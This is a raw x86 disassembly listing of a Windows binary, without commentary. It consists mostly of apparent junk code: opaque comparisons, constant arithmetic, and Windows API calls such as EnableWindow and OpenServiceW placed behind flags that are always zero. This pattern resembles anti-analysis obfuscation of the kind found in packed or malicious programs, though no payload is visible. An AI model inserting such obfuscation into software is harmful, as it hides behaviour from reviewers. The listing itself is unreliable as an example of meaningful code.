je 0x466e7f
cmp dword [ebp - 0x2334], 0
je 0x466e7f
and dword [ebp - 0xc38], 0
jmp 0x466e89
mov dword [ebp - 0xc38], 1
mov eax, dword [ebp - 0x4a0]
imul eax, dword [ebp - 0xc38]
mov ecx, dword [ebp - 0x1e8]
cmp eax, dword [ebp + ecx*4 - 0xb94]
jg 0x466eb1
mov dword [ebp - 0x233c], 1
jmp 0x466eb8
and dword [ebp - 0x233c], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2db4], eax
mov eax, dword [ebp - 0x36c]
mov dword [ebp - 0x3044], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xb94], 0
jne 0x466ee8
mov dword [ebp - 0x1ae4], 1
jmp 0x466eef
and dword [ebp - 0x1ae4], 0
mov eax, dword [ebp - 0x3bc]
cmp dword [ebp - 0x1ae4], eax
jl 0x466f04
cmp dword [ebp - 0x3bc], 0
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x2dbc], eax
mov eax, dword [ebp - 0x3bc]
cmp dword [ebp - 0x18], eax
jg 0x466f27
mov dword [ebp - 0xc40], 1
jmp 0x466f2e
and dword [ebp - 0xc40], 0
mov eax, dword [ebp - 0xc40]
add eax, dword [ebp - 0x1b04]
mov dword [ebp - 0x1aec], eax
mov eax, dword [ebp - 0x1e8]
mov ecx, dword [ebp - 0x1aec]
mov dword [ebp + eax*4 - 0xb94], ecx
mov eax, dword [ebp - 0x3bc]
cmp dword [ebp - 0x1aec], eax
jg 0x466f6d
mov dword [ebp - 0xc48], 1
jmp 0x466f74
and dword [ebp - 0xc48], 0
cmp dword [ebp - 0xc48], 0xf94618c4
je 0x466f8c
mov dword [ebp - 0x1af4], 1
jmp 0x466f93
and dword [ebp - 0x1af4], 0
mov eax, dword [ebp - 0x36c]
cmp dword [ebp - 0x1af4], eax
jle 0x466fad
mov dword [ebp - 0xc50], 1
jmp 0x466fb4
and dword [ebp - 0xc50], 0
imul eax, dword [ebp - 0xc50], 0
mov dword [ebp - 0x1afc], eax
cmp dword [ebp - 0x1afc], 0xffffffff
jge 0x466fd6
mov dword [ebp - 0xc58], 1
jmp 0x466fdd
and dword [ebp - 0xc58], 0
mov eax, dword [ebp - 0xa8]
imul eax, dword [ebp - 0xc58]
sub eax, dword [ebp - 0x4a0]
add eax, dword [ebp - 0x1b04]
mov dword [ebp - 0x4a0], eax
mov dword [ebp - 0x2344], 2
jmp 0x466e21
jmp 0x467043
mov dword [ebp - 0x3100], 1
mov dword [ebp - 0x2dc4], 0x2bdb
mov dword [ebp - 0x304c], 0x45916079
mov dword [ebp - 0x234c], 0xf7fee682
cmp dword [ebp - 0x4a0], 0
je 0x467043
jmp 0x466dc6
jmp 0x466dc6
jmp 0x466d8c
jmp 0x466d0d
mov dword [ebp - 0x3f0], 0x2d5e48d3
mov dword [ebp - 0x1b0c], 0x94ddbc37
mov dword [ebp - 0xc68], 0x7f737a9a
mov dword [ebp - 0x3f0], 0
jmp 0x467089
mov eax, dword [ebp - 0x3f0]
dec eax
mov dword [ebp - 0x3f0], eax
cmp dword [ebp - 0x3f0], 0xfffffff1
jge 0x467126
mov dword [ebp - 0x2354], 1
mov dword [ebp - 0x7a0], 0
jmp 0x4670b9
mov eax, dword [ebp - 0x7a0]
inc eax
mov dword [ebp - 0x7a0], eax
cmp dword [ebp - 0x7a0], 1
jge 0x4670d5
mov eax, dword [ebp - 0x7a0]
mov dword [ebp + eax*4 - 0x235c], 0x7b8f5f49
jmp 0x4670ac
mov eax, dword [ebp - 0x2354]
cmp dword [ebp - 0x3f0], eax
jle 0x4670ef
mov dword [ebp - 0xc60], 1
jmp 0x4670f6
and dword [ebp - 0xc60], 0
mov eax, dword [ebp - 0xc60]
mov dword [ebp - 0x1b0c], eax
mov eax, dword [ebp - 0x1b0c]
mov dword [ebp - 0xc68], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xc68]
mov dword [ebp + eax - 0x235c], ecx
jmp 0x46707c
mov byte [ebp - 0x24e], 0
mov dword [ebp - 0x3a4], 0
mov dword [ebp - 0x2dcc], 0xffffffff
mov dword [ebp - 0xc80], 0
mov dword [ebp - 0x3184], 0xffffffff
mov dword [ebp - 0x2dd4], 0
mov dword [ebp - 0x236c], 1
push 3
lea ecx, [ebp - 0x2908]
call fcn.0042f3cf
mov dword [ebp - 0x3054], 0xdd9
mov dword [ebp - 0x2ddc], 0
mov dword [ebp - 0x3108], 0x2b46
push 4
lea ecx, [ebp - 0x2ad0]
call fcn.0042f3cf
mov dword [ebp - 0x1cc], 0
jmp 0x4671ba
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 3
jge 0x4671dc
push dword [ebp - 0x1cc]
lea ecx, [ebp - 0x2908]
call fcn.0042f4bd
mov dword [eax], 3
jmp 0x4671ad
mov dword [ebp - 0x1cc], 0
jmp 0x4671f5
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 4
jge 0x467217
push dword [ebp - 0x1cc]
lea ecx, [ebp - 0x2ad0]
call fcn.0042f4bd
mov dword [eax], 0x6c09
jmp 0x4671e8
mov byte [ebp - 0x24c], 0
movzx eax, byte [ebp - 0x24c]
test eax, eax
je 0x46722f
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov dword [ebp - 0x3a4], 0xfffffff7
jmp 0x467248
mov eax, dword [ebp - 0x3a4]
inc eax
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 8
jle 0x46742d
mov dword [ebp - 0x237c], 1
mov dword [ebp - 0x2364], 1
mov dword [ebp - 0x2e04], 0x1c946b43
mov dword [ebp - 0x92c], 3
mov dword [ebp - 0x528], 0
jmp 0x467296
mov eax, dword [ebp - 0x528]
inc eax
mov dword [ebp - 0x528], eax
cmp dword [ebp - 0x528], 2
jge 0x4672b2
mov eax, dword [ebp - 0x528]
mov dword [ebp + eax*4 - 0x26fc], 0xffffffff
jmp 0x467289
mov dword [ebp - 0x2364], 0
push 2
lea ecx, [ebp - 0x2ad0]
call fcn.0042f4bd
mov dword [ebp - 0xa4c], eax
mov eax, dword [ebp - 0xa4c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xa4c]
mov dword [ecx], eax
mov eax, dword [ebp - 0xa4c]
cmp dword [eax], 0
jne 0x467323
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x26fc]
mov dword [ebp - 0x1b14], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1b14]
mov dword [ebp + eax - 0x26fc], ecx
cmp dword [ebp - 0x1b14], 0
jne 0x467323
and dword [ebp - 0xc70], 0
jmp 0x46732d
mov dword [ebp - 0xc70], 1
mov eax, dword [ebp - 0x3a4]
cmp dword [ebp - 0xc70], eax
jl 0x467347
mov dword [ebp - 0x1b1c], 1
jmp 0x46734e
and dword [ebp - 0x1b1c], 0
mov eax, dword [ebp - 0x236c]
cmp dword [ebp - 0x1b1c], eax
jg 0x467368
mov dword [ebp - 0xc78], 1
jmp 0x46736f
and dword [ebp - 0xc78], 0
cmp dword [ebp - 0xc78], 4
jbe 0x467384
mov dword [ebp - 0x1b24], 1
jmp 0x46738b
and dword [ebp - 0x1b24], 0
mov eax, dword [ebp - 0x3a4]
imul eax, dword [ebp - 0x1b24]
cmp eax, dword [ebp - 0x92c]
jle 0x4673ac
mov dword [ebp - 0x2374], 1
jmp 0x4673b3
and dword [ebp - 0x2374], 0
mov eax, dword [ebp - 0x237c]
mov dword [ebp - 0x3110], eax
mov dword [ebp - 0xc80], 1
cmp dword [ebp - 0xc80], 0x28f0
je 0x4673e7
cmp dword [ebp - 0x92c], 0
jne 0x4673e7
and dword [ebp - 0x1b2c], 0
jmp 0x4673f1
mov dword [ebp - 0x1b2c], 1
mov eax, dword [ebp - 0x1b2c]
inc eax
cmp eax, dword [ebp - 0x92c]
jle 0x46740c
mov dword [ebp - 0xc88], 1
jmp 0x467413
and dword [ebp - 0xc88], 0
push 0
lea ecx, [ebp - 0x2908]
call fcn.0042f4bd
mov ecx, dword [ebp - 0xc88]
mov dword [eax], ecx
jmp 0x46723b
lea ecx, [ebp - 0x2ad0]
call fcn.0042f4a1
lea ecx, [ebp - 0x2908]
call fcn.0042f4a1
movzx eax, byte [ebp - 0x24e]
test eax, eax
je 0x4678e6
mov dword [ebp - 0x2384], 0x506d
mov dword [ebp - 0x3f8], 0xb1c2
mov dword [ebp - 0x538], 0xfffffff6
mov dword [ebp - 0x270], 0xfffffffc
mov dword [ebp - 0x468], 0xd670012a
mov dword [ebp - 0x278], 5
mov dword [ebp - 0x1b5c], 0xd33b947
mov dword [ebp - 0x6d8], 0
jmp 0x4674b1
mov eax, dword [ebp - 0x6d8]
inc eax
mov dword [ebp - 0x6d8], eax
cmp dword [ebp - 0x6d8], 4
jge 0x4674cd
mov eax, dword [ebp - 0x6d8]
mov dword [ebp + eax*4 - 0x263c], 0xca4e8652
jmp 0x4674a4
mov eax, dword [ebp - 0x3f8]
cmp dword [ebp - 0x2384], eax
jg 0x467501
mov byte [ebp - 0x250], 0
movzx eax, byte [ebp - 0x250]
test eax, eax
je 0x4674fc
push 1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
jmp 0x4678d4
mov dword [ebp - 0x1b34], 0xc25fa5fe
mov dword [ebp - 0x2394], 0xfffffff8
push 2
lea ecx, [ebp - 0x1ed4]
call fcn.0042f3cf
mov dword [ebp - 0xadc], 0x1f3403ca
mov dword [ebp - 0x530], 0
jmp 0x467545
mov eax, dword [ebp - 0x530]
inc eax
mov dword [ebp - 0x530], eax
cmp dword [ebp - 0x530], 2
jge 0x467564
push dword [ebp - 0x530]
lea ecx, [ebp - 0x1ed4]
call fcn.0042f4bd
or dword [eax], 0xffffffff
jmp 0x467538
cmp dword [ebp - 0x3f8], 0
je 0x4675b2
mov eax, dword [ebp - 0xadc]
mov ecx, dword [ebp - 0x1b34]
mov edx, dword [ebp - 0xadc]
inc edx
mov dword [ebp - 0xadc], edx
cmp ecx, eax
jle 0x4675b2
cmp dword [ebp - 0x468], 0x91e6
jl 0x4675a8
cmp dword [ebp - 0x270], 0
jne 0x4675a8
and dword [ebp - 0x238c], 0
jmp 0x4675b2
mov dword [ebp - 0x238c], 1
mov eax, dword [ebp - 0x3f8]
mov dword [ebp - 0x538], eax
mov eax, dword [ebp - 0x3f8]
cmp dword [ebp - 0x538], eax
je 0x4675d8
mov dword [ebp - 0xc90], 1
jmp 0x4675df
and dword [ebp - 0xc90], 0
mov eax, dword [ebp - 0x1b34]
add eax, dword [ebp - 0xc90]
mov dword [ebp - 0x1b3c], eax
push 1
lea ecx, [ebp - 0x1ed4]
call fcn.0042f4bd
mov ecx, dword [ebp - 0x1b3c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x278]
add eax, dword [ebp - 0x1b3c]
je 0x46762e
push 1
lea ecx, [ebp - 0x1ed4]
call fcn.0042f4bd
mov eax, dword [eax]
mov dword [ebp - 0x538], eax
jmp 0x4678c9
mov dword [ebp - 0x1b54], 3
mov dword [ebp - 0x468], 0xffffffe6
jmp 0x467651
mov eax, dword [ebp - 0x468]
inc eax
mov dword [ebp - 0x468], eax
cmp dword [ebp - 0x468], 2
jg 0x4678c9
mov dword [ebp - 0x4c0], 0x4c259dba
mov dword [ebp - 0x278], 0
jmp 0x467681
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 3
jg 0x4678c4
mov dword [ebp - 0x808], 0
jmp 0x4676a7
mov eax, dword [ebp - 0x808]
inc eax
mov dword [ebp - 0x808], eax
cmp dword [ebp - 0x808], 4
jge 0x4676c3
mov eax, dword [ebp - 0x808]
mov dword [ebp + eax*4 - 0x3380], 0xfff7
jmp 0x46769a
mov dword [ebp - 0x270], 0
jmp 0x4676dc
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 3
jg 0x467701
mov eax, dword [ebp - 0x270]
mov ecx, dword [ebp - 0x270]
mov eax, dword [ebp + eax*4 - 0x263c]
mov dword [ebp + ecx*4 - 0x263c], eax
jmp 0x4676cf
push 1
lea ecx, [ebp - 0x1ed4]
call fcn.0042f4bd
mov eax, dword [ebp - 0x278]
cmp dword [ebp + eax*4 - 0x263c], 0x14e0d
jg 0x46772a
cmp dword [ebp - 0x4c0], 0
je 0x46773f
cmp dword [ebp - 0x1b54], 0
je 0x46773f
mov dword [ebp - 0xc98], 1
jmp 0x467746
and dword [ebp - 0xc98], 0
mov eax, dword [ebp - 0xc98]
mov dword [ebp - 0x538], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x263c], 0
jae 0x46776e
mov dword [ebp - 0x1b44], 1
jmp 0x467775
and dword [ebp - 0x1b44], 0
mov eax, dword [ebp - 0x2394]
cmp dword [ebp - 0x1b44], eax
jne 0x46778f
mov dword [ebp - 0xca0], 1
jmp 0x467796
and dword [ebp - 0xca0], 0
cmp dword [ebp - 0xca0], 0x3d46409e
je 0x4677ae
mov dword [ebp - 0x1b4c], 1
jmp 0x4677b5
and dword [ebp - 0x1b4c], 0
cmp dword [ebp - 0x1b4c], 1
je 0x4677ca
mov dword [ebp - 0xca8], 1
jmp 0x4677d1
and dword [ebp - 0xca8], 0
mov eax, dword [ebp - 0xca8]
add eax, 3
cmp dword [ebp - 0x4c0], eax
jl 0x4677ee
mov dword [ebp - 0xcb0], 1
jmp 0x4677f5
and dword [ebp - 0xcb0], 0
mov eax, dword [ebp - 0x1b54]
cmp dword [ebp - 0xcb0], eax
je 0x46780f
mov dword [ebp - 0xcb8], 1
jmp 0x467816
and dword [ebp - 0xcb8], 0
mov eax, dword [ebp - 0x4c0]
mov dword [ebp - 0x1b5c], eax
mov eax, dword [ebp - 0x1b5c]
cmp eax, dword [ebp - 0xcb8]
jle 0x46783c
mov dword [ebp - 0x1b64], 1
jmp 0x467843
and dword [ebp - 0x1b64], 0
mov eax, dword [ebp - 0x278]
mov eax, dword [ebp + eax*4 - 0x263c]
mov dword [ebp - 0x2e0c], eax
mov eax, dword [ebp - 0x1b64]
neg eax
mov dword [ebp - 0x239c], eax
push 0
lea ecx, [ebp - 0x1ed4]
call fcn.0042f4bd
mov ecx, dword [ebp - 0x239c]
mov dword [eax], ecx
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x263c]
cmp dword [ebp - 0x3f8], eax
jne 0x467899
mov dword [ebp - 0xcc0], 1
jmp 0x4678a0
and dword [ebp - 0xcc0], 0
mov eax, dword [ebp - 0xcc0]
mov dword [ebp - 0x4c0], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x4c0]
mov dword [ebp + eax - 0x3380], ecx
jmp 0x467674
jmp 0x467644
lea ecx, [ebp - 0x1ed4]
call fcn.0042f4a1
push 0
push 0x74f
push 0xca9
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push 4
lea ecx, [ebp - 0x2ae8]
call fcn.0042f3cf
mov dword [ebp - 0x6e0], 0
jmp 0x46790c
mov eax, dword [ebp - 0x6e0]
inc eax
mov dword [ebp - 0x6e0], eax
cmp dword [ebp - 0x6e0], 4
jge 0x46792e
push dword [ebp - 0x6e0]
lea ecx, [ebp - 0x2ae8]
call fcn.0042f4bd
mov dword [eax], 0x838a
jmp 0x4678ff
mov byte [ebp - 0x252], 0
movzx eax, byte [ebp - 0x252]
test eax, eax
je 0x467955
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_DialogBoxParamA]
push 1
lea ecx, [ebp - 0x2ae8]
call fcn.0042f4bd
mov dword [eax], 0xfffffff7
lea ecx, [ebp - 0x2ae8]
call fcn.0042f4a1
cmp dword [ebp - 0x90], 0
je 0x467a09
mov eax, dword [ebp - 0x90]
cmp dword [ebp - 0x90], eax
jl 0x46799a
mov dword [ebp - 0x1b6c], 1
jmp 0x4679a1
and dword [ebp - 0x1b6c], 0
cmp dword [ebp - 0x1b6c], 0x5714ffd8
jne 0x4679b9
mov dword [ebp - 0xcc8], 1
jmp 0x4679c0
and dword [ebp - 0xcc8], 0
mov eax, dword [ebp - 0x90]
cmp dword [ebp - 0xcc8], eax
jg 0x4679da
mov dword [ebp - 0xcd0], 1
jmp 0x4679e1
and dword [ebp - 0xcd0], 0
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x1b74], eax
mov eax, dword [ebp - 0x1b74]
neg eax
cmp eax, dword [ebp - 0xcd0]
jne 0x467a09
mov dword [ebp - 0x1b7c], 1
jmp 0x467a10
and dword [ebp - 0x1b7c], 0
cmp dword [ebp - 0x1b7c], 1
jg 0x467a25
mov dword [ebp - 0xcd8], 1
jmp 0x467a2c
and dword [ebp - 0xcd8], 0
mov eax, dword [ebp - 0x90]
add eax, dword [ebp - 0xcd8]
cmp eax, 0xfffffffd
jg 0x467a49
mov dword [ebp - 0x1b84], 1
jmp 0x467a50
and dword [ebp - 0x1b84], 0
mov eax, dword [ebp - 0x90]
cmp dword [ebp - 0x1b84], eax
jge 0x467a6a
mov dword [ebp - 0xce0], 1
jmp 0x467a71
and dword [ebp - 0xce0], 0
mov eax, dword [ebp - 0x90]
add eax, dword [ebp - 0xce0]
cmp eax, dword [ebp - 0x90]
jl 0x467a91
mov dword [ebp - 0x1b8c], 1
jmp 0x467a98
and dword [ebp - 0x1b8c], 0
mov eax, dword [ebp - 0x90]
imul eax, dword [ebp - 0x1b8c]
imul eax, dword [ebp - 0x90]
test eax, eax
je 0x467ac5
cmp dword [ebp - 0x90], 0
je 0x467ac5
mov dword [ebp - 0xce8], 1
jmp 0x467acc
and dword [ebp - 0xce8], 0
mov eax, dword [ebp - 0x90]
cmp dword [ebp - 0xce8], eax
je 0x467ae6
mov dword [ebp - 0x1b94], 1
jmp 0x467aed
and dword [ebp - 0x1b94], 0
push 0
lea ecx, [ebp - 0x2974]
call fcn.0042f4bd
mov ecx, dword [ebp - 0x1b94]
mov dword [eax], ecx
lea ecx, [ebp - 0x2974]
call fcn.0042f4a1
mov dword [ebp - 0x3070], 0x70ad6f2e
mov dword [ebp - 0x1bac], 0xf89b5461
mov dword [ebp - 0x2e14], 0xfab8c3ad
mov dword [ebp - 0x23ac], 0xc58fb770
mov dword [ebp - 0xcf0], 0x8afa2faf
mov dword [ebp - 0x540], 0x2ee6d058
mov dword [ebp - 0x311c], 0
mov dword [ebp - 0x1bb4], 0x6eff3de0
mov dword [ebp - 0x23a4], 0x97e780ca
mov dword [ebp - 0x2e1c], 1
mov dword [ebp - 0x934], 0xde9e8436
mov eax, dword [ebp - 0x934]
dec eax
mov dword [ebp - 0x934], eax
xor eax, eax
inc eax
je 0x467c63
mov eax, dword [ebp - 0x1bac]
mov dword [ebp - 0xcf0], eax
mov eax, dword [ebp - 0x23a4]
cmp dword [ebp - 0xcf0], eax
jne 0x467bb7
mov dword [ebp - 0x1b9c], 1
jmp 0x467bbe
and dword [ebp - 0x1b9c], 0
mov eax, dword [ebp - 0x23ac]
cmp eax, dword [ebp - 0x1b9c]
je 0x467bd8
mov dword [ebp - 0xcf8], 1
jmp 0x467bdf
and dword [ebp - 0xcf8], 0
mov eax, dword [ebp - 0x540]
cmp dword [ebp - 0xcf8], eax
jg 0x467bf9
mov dword [ebp - 0x1ba4], 1
jmp 0x467c00
and dword [ebp - 0x1ba4], 0
cmp dword [ebp - 0x1ba4], 0x28787d63
jg 0x467c18
mov dword [ebp - 0xd00], 1
jmp 0x467c1f
and dword [ebp - 0xd00], 0
mov eax, dword [ebp - 0xd00]
add eax, 0x6a3f
mov dword [ebp - 0x540], eax
mov eax, dword [ebp - 0x1bb4]
add eax, dword [ebp - 0x540]
cmp eax, dword [ebp - 0x1bac]
jge 0x467c50
mov dword [ebp - 0xd08], 1
jmp 0x467c57
and dword [ebp - 0xd08], 0
mov eax, dword [ebp - 0xd08]
sub eax, dword [ebp - 0x934]
mov eax, dword [ebp - 0x540]
mov dword [ebp - 0x1bb4], eax
mov dword [ebp - 0x1714], 0x2ff3
mov dword [ebp - 0x24], 0xfffffff8
mov dword [ebp - 0x470], 0xd34caa8e
mov dword [ebp - 0x400], 0xfffffff6
mov dword [ebp - 0x3078], 0xfffffffd
mov dword [ebp - 0x7a8], 0
jmp 0x467cb7
mov eax, dword [ebp - 0x7a8]
inc eax
mov dword [ebp - 0x7a8], eax
cmp dword [ebp - 0x7a8], 1
jge 0x467cd3
mov eax, dword [ebp - 0x7a8]
mov dword [ebp + eax*4 - 0x280], 0x4a8c6a53
jmp 0x467caa
mov dword [ebp - 0x24], 0
jmp 0x467ce3
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jl 0x467e12
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x280]
cmp dword [ebp - 0x24], eax
jl 0x467d08
mov dword [ebp - 0xd10], 1
jmp 0x467d0f
and dword [ebp - 0xd10], 0
cmp dword [ebp - 0xd10], 1
jae 0x467d24
mov dword [ebp - 0x1bbc], 1
jmp 0x467d2b
and dword [ebp - 0x1bbc], 0
mov eax, dword [ebp - 0x1bbc]
add eax, 0x6b6c
cmp dword [ebp - 0x24], eax
jne 0x467d47
mov dword [ebp - 0xd18], 1
jmp 0x467d4e
and dword [ebp - 0xd18], 0
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x280]
cmp eax, dword [ebp - 0xd18]
jg 0x467d6f
cmp dword [ebp - 0x24], 0
jne 0x467d6f
and dword [ebp - 0x1bc4], 0
jmp 0x467d79
mov dword [ebp - 0x1bc4], 1
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x1bc4]
mov dword [ebp - 0x470], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x280]
cmp dword [ebp - 0x470], eax
jge 0x467da7
mov dword [ebp - 0xd20], 1
jmp 0x467dae
and dword [ebp - 0xd20], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0xd20], eax
je 0x467dc5
mov dword [ebp - 0x1bcc], 1
jmp 0x467dcc
and dword [ebp - 0x1bcc], 0
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x1bcc]
sub ecx, dword [ebp + eax*4 - 0x280]
imul eax, ecx, 0x9150
mov ecx, dword [ebp - 0x24]
cmp eax, dword [ebp + ecx*4 - 0x280]
je 0x467dfa
mov dword [ebp - 0xd28], 1
jmp 0x467e01
and dword [ebp - 0xd28], 0
mov eax, dword [ebp - 0xd28]
mov dword [ebp - 0x400], eax
jmp 0x467cdc
mov dword [ebp - 0x400], 0
jmp 0x467e2b
mov eax, dword [ebp - 0x400]
inc eax
mov dword [ebp - 0x400], eax
cmp dword [ebp - 0x400], 0x1d
jg 0x467ff3
mov dword [ebp - 0x548], 0
jmp 0x467e51
mov eax, dword [ebp - 0x548]
inc eax
mov dword [ebp - 0x548], eax
cmp dword [ebp - 0x548], 3
jge 0x467e6d
mov eax, dword [ebp - 0x548]
mov dword [ebp + eax*4 - 0x2484], 0
jmp 0x467e44
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2484]
mov dword [ebp - 0x2e24], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x280]
cmp dword [ebp - 0x470], eax
jge 0x467ea1
mov dword [ebp - 0x1bd4], 1
jmp 0x467ea8
and dword [ebp - 0x1bd4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1bd4]
add ecx, 0x7a832397
cmp dword [ebp + eax - 0x280], ecx
je 0x467ecf
mov dword [ebp - 0xd30], 1
jmp 0x467ed6
and dword [ebp - 0xd30], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0xd30], eax
jne 0x467eed
mov dword [ebp - 0x1bdc], 1
jmp 0x467ef4
and dword [ebp - 0x1bdc], 0
mov eax, dword [ebp - 0x470]
cmp dword [ebp - 0x1bdc], eax
jne 0x467f0e
mov dword [ebp - 0xd38], 1
jmp 0x467f15
and dword [ebp - 0xd38], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2484]
cmp dword [ebp - 0xd38], eax
jg 0x467f36
mov dword [ebp - 0x1be4], 1
jmp 0x467f3d
and dword [ebp - 0x1be4], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1be4]
sub ecx, dword [ebp + eax - 0x2484]
push 4
pop eax
shl eax, 1
cmp ecx, dword [ebp + eax - 0x2484]
je 0x467f6a
mov dword [ebp - 0xd40], 1
jmp 0x467f71
and dword [ebp - 0xd40], 0
mov eax, dword [ebp - 0x470]
cmp eax, dword [ebp - 0xd40]
jg 0x467f8b
mov dword [ebp - 0x1bec], 1
jmp 0x467f92
and dword [ebp - 0x1bec], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2484]
cmp dword [ebp - 0x1bec], eax
jle 0x467fb3
mov dword [ebp - 0xd48], 1
jmp 0x467fba
and dword [ebp - 0xd48], 0
cmp dword [ebp - 0xd48], 0
jle 0x467fcf
mov dword [ebp - 0x1bf4], 1
jmp 0x467fd6
and dword [ebp - 0x1bf4], 0
mov eax, dword [ebp - 0x1bf4]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x3118], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
jmp 0x467e1e
mov dword [ebp - 0x408], 1
mov dword [ebp - 0x6e8], 0
jmp 0x468016
mov eax, dword [ebp - 0x6e8]
inc eax
mov dword [ebp - 0x6e8], eax
cmp dword [ebp - 0x6e8], 3
jge 0x468032
mov eax, dword [ebp - 0x6e8]
mov dword [ebp + eax*4 - 0x3260], 0xf99f
jmp 0x468009
mov dword [ebp - 0x408], 2
jmp 0x46804b
mov eax, dword [ebp - 0x408]
dec eax
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 0
jl 0x468068
mov eax, dword [ebp - 0x408]
cmp dword [ebp + eax*4 - 0x3260], 0
je 0x468066
jmp 0x468068
jmp 0x46803e
mov dword [ebp - 0x2870], 0x76820624
mov dword [ebp - 0x286c], 0x76820624
mov dword [ebp - 0x2868], 0x76820624
mov dword [ebp - 0x2864], 0x76820624
lea ecx, [ebp - 0xb51]
call fcn.0042f4cc
push eax
lea eax, [ebp - 0x2860]
push eax
lea eax, [ebp - 0x2870]
push eax
lea ecx, [ebp - 0x3308]
call fcn.0042f4cf
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1ea4]
call fcn.0042f47b
mov dword [ebp - 0x4a8], 0xffffffff
mov dword [ebp - 0x2e2c], 1
push 0
lea ecx, [ebp - 0x1ea4]
call fcn.0042f4bd
mov dword [eax], 7
jmp 0x468112
push 0
lea ecx, [ebp - 0x1ea4]
call fcn.0042f4bd
mov dword [ebp - 0xd50], eax
mov eax, dword [ebp - 0xd50]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xd50]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x1ea4]
call fcn.0042f4bd
cmp dword [eax], 0xfffffff2
jl 0x468152
mov dword [ebp - 0x1bfc], 0
mov eax, dword [ebp - 0x1bfc]
inc eax
mov dword [ebp - 0x1bfc], eax
push 3
lea ecx, [ebp - 0x1ea4]
call fcn.0042f4bd
mov eax, dword [eax]
mov dword [ebp - 0x4a8], eax
jmp 0x4680ee
mov dword [ebp - 0x4a8], 0xffffffea
jmp 0x46816b
mov eax, dword [ebp - 0x4a8]
inc eax
mov dword [ebp - 0x4a8], eax
cmp dword [ebp - 0x4a8], 0xfffffff4
je 0x468193
mov dword [ebp - 0x3080], 0xd1f2
push 0
lea ecx, [ebp - 0x1ea4]
call fcn.0042f4bd
mov dword [eax], 1
jmp 0x46815e
lea ecx, [ebp - 0x1ea4]
call fcn.0042f4a1
mov dword [ebp - 0x2e34], 0x70ad6f2e
push 1
lea ecx, [ebp - 0x2658]
call fcn.0042f3cf
mov dword [ebp - 0x374], 0xfffffffa
mov dword [ebp - 0x3124], 0xfffffffb
mov dword [ebp - 0x550], 0
jmp 0x4681e2
mov eax, dword [ebp - 0x550]
inc eax
mov dword [ebp - 0x550], eax
cmp dword [ebp - 0x550], 1
jge 0x468204
push dword [ebp - 0x550]
lea ecx, [ebp - 0x2658]
call fcn.0042f4bd
mov dword [eax], 0x9f9b3198
jmp 0x4681d5
mov dword [ebp - 0x374], 0
jmp 0x46821d
mov eax, dword [ebp - 0x374]
dec eax
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 0
jl 0x468271
mov byte [ebp - 0x254], 0
movzx eax, byte [ebp - 0x254]
test eax, eax
je 0x468247
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRect]
push dword [ebp - 0x374]
lea ecx, [ebp - 0x2658]
call fcn.0042f4bd
mov esi, eax
push dword [ebp - 0x374]
lea ecx, [ebp - 0x2658]
call fcn.0042f4bd
mov ecx, dword [esi]
mov dword [eax], ecx
jmp 0x468210
lea ecx, [ebp - 0x2658]
call fcn.0042f4a1
mov dword [ebp - 0xeb0], 0xf89b5461
mov dword [ebp - 0x2e3c], 0xffff
mov byte [ebp - 0x256], 0
movzx eax, byte [ebp - 0x256]
test eax, eax
je 0x4682b1
push 0x1c7e
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov byte [ebp - 0x258], 0
movzx eax, byte [ebp - 0x258]
